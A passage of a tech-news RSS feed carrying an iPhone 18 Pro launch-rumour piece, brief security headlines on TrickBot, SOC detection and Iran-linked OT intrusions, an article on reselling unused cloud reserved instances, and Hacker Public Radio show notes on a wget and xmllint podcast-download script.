accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 18 Pro Release Date: Here’s Exactly When Apple Is Expected to Launch It]]></title>
<description><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the sec...]]></description>
<link>https://tsecurity.de/de/3687150/ios-mac-os/iphone-18-pro-release-date-heres-exactly-when-apple-is-expected-to-launch-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687150/ios-mac-os/iphone-18-pro-release-date-heres-exactly-when-apple-is-expected-to-launch-it/</guid>
<pubDate>Wed, 22 Jul 2026 19:26:27 +0200</pubDate>
<content:encoded><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the second week of September.



This year could also bring one of the biggest changes to Apple's iPhone launch strategy. Instead of releasing the entire iPhone 18 lineup together, reports suggest Apple will focus on its premium models first, with the standard iPhone 18 arriving several months later in early 2027.



When will Apple announce the iPhone 18 Pro?



Apple has followed a very consistent launch schedule over the past several years.



Here are the recent iPhone announcement dates:



iPhoneAnnouncement DateiPhone 17September 9, 2025iPhone 16September 9, 2024iPhone 15September 12, 2023



Based on this pattern, industry watchers expect Apple to hold its iPhone 18 event on either:




Wednesday, September 9, 2026



Monday, September 14, 2026




The slight uncertainty comes from the Labor Day calendar this year, which falls later than usual. Apple often schedules its iPhone event shortly after the holiday, making both dates realistic possibilities.



Expected iPhone 18 Pro release date



Apple usually opens pre-orders on the Friday after announcing new iPhones, followed by retail availability one week later.



If Apple announces the iPhone 18 lineup on September 9, the expected schedule would be:



EventExpected DateAnnouncementSeptember 9Pre-ordersSeptember 11ReleaseSeptember 18



If Apple chooses September 14 instead, the schedule would likely be:



EventExpected DateAnnouncementSeptember 14Pre-ordersSeptember 18ReleaseSeptember 25



Unless Apple changes its usual launch pattern, buyers should expect to receive the iPhone 18 Pro on either September 18 or September 25.



Which iPhone models are expected this fall?



Reports suggest Apple will introduce only its premium devices during the September event.



The expected lineup includes:




iPhone 18 Pro



iPhone 18 Pro Max



iPhone Ultra




There are also mixed reports about a new iPhone Air joining the lineup, although its release timing remains unclear. Meanwhile, the regular iPhone 18 is widely expected to launch in spring 2027 instead of September.



What could be new on the iPhone 18 Pro?







Although Apple has not officially revealed any features, recent leaks point to several notable upgrades.



Expected improvements include:




A new A20 Pro chip built on a 2nm manufacturing process



A smaller Dynamic Island with more Face ID components placed under the display



Camera upgrades, including a possible variable aperture system



Improved battery efficiency



Apple's next-generation C2 modem for better connectivity



New color options for the Pro models




As with all pre-release reports, these features remain rumors until Apple makes an official announcement.



Why is Apple reportedly delaying the standard iPhone 18?



Several reliable reports indicate Apple plans to split its iPhone launches into two seasons. Premium models would continue arriving in September, while the standard iPhone 18 and iPhone 18e would move to spring 2027.



This strategy would allow Apple to give more attention to its high-end devices during the holiday shopping season while creating another major product launch in the first half of the following year.



Expected iPhone 18 Pro launch timeline



Here is the most likely schedule based on current reports:



StageExpected TimingApple eventSeptember 9 or September 14, 2026Pre-ordersSeptember 11 or September 18Official releaseSeptember 18 or September 25Available modelsiPhone 18 Pro, iPhone 18 Pro Max, iPhone Ultra



Wrap Up



Apple has not announced the iPhone 18 Pro release date yet, but its launch history makes early to mid September the strongest prediction. If the company follows its familiar schedule, pre-orders will begin within days of the announcement, and the first devices will reach customers before the end of September.



At the same time, this year's launch could mark the beginning of a new release strategy, with the standard iPhone 18 arriving several months after the Pro models.]]></content:encoded>
</item>
<item>
<title><![CDATA[TrickBot Ditches HTTP for DNS Tunneling in Latest Variant]]></title>
<description><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern This article has been indexed from www.infosecurity-magazine.com Read the original article: TrickBot Ditches HTTP for DNS Tunneling in Latest Variant
Read more →
The post TrickBot Ditches HTTP for DN...]]></description>
<link>https://tsecurity.de/de/3686821/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686821/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</guid>
<pubDate>Wed, 22 Jul 2026 17:19:14 +0200</pubDate>
<content:encoded><![CDATA[<p>New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern This article has been indexed from www.infosecurity-magazine.com Read the original article: TrickBot Ditches HTTP for DNS Tunneling in Latest Variant</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/">TrickBot Ditches HTTP for DNS Tunneling in Latest Variant</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TrickBot Ditches HTTP for DNS Tunneling in Latest Variant]]></title>
<description><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern]]></description>
<link>https://tsecurity.de/de/3686749/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686749/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</guid>
<pubDate>Wed, 22 Jul 2026 17:05:00 +0200</pubDate>
<content:encoded><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Modern SOCs Need Multi-Layered Detections]]></title>
<description><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely. The CrowdStrike Gl...]]></description>
<link>https://tsecurity.de/de/3686210/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686210/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:28 +0200</pubDate>
<content:encoded><![CDATA[<p>The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely. The CrowdStrike Global Threat Report…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/why-modern-socs-need-multi-layered-detections/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/why-modern-socs-need-multi-layered-detections/">Why Modern SOCs Need Multi-Layered Detections</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Modern SOCs Need Multi-Layered Detections]]></title>
<description><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely.

The CrowdStrike G...]]></description>
<link>https://tsecurity.de/de/3686147/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686147/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</guid>
<pubDate>Wed, 22 Jul 2026 13:39:16 +0200</pubDate>
<content:encoded><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely.

The CrowdStrike Global Threat Report estimates around 79% of attacks are malware-free, as threat actors rely on]]></content:encoded>
</item>
<item>
<title><![CDATA[Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption]]></title>
<description><![CDATA[Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on...]]></description>
<link>https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</guid>
<pubDate>Wed, 22 Jul 2026 13:00:33 +0200</pubDate>
<content:encoded><![CDATA[<p>Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on single, spectacular attacks and more on durable footholds in enterprise and industrial environments. This access is […]</p>
<p>The post <a href="https://cyberpress.org/iran-hackers-target-ot-systems/">Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
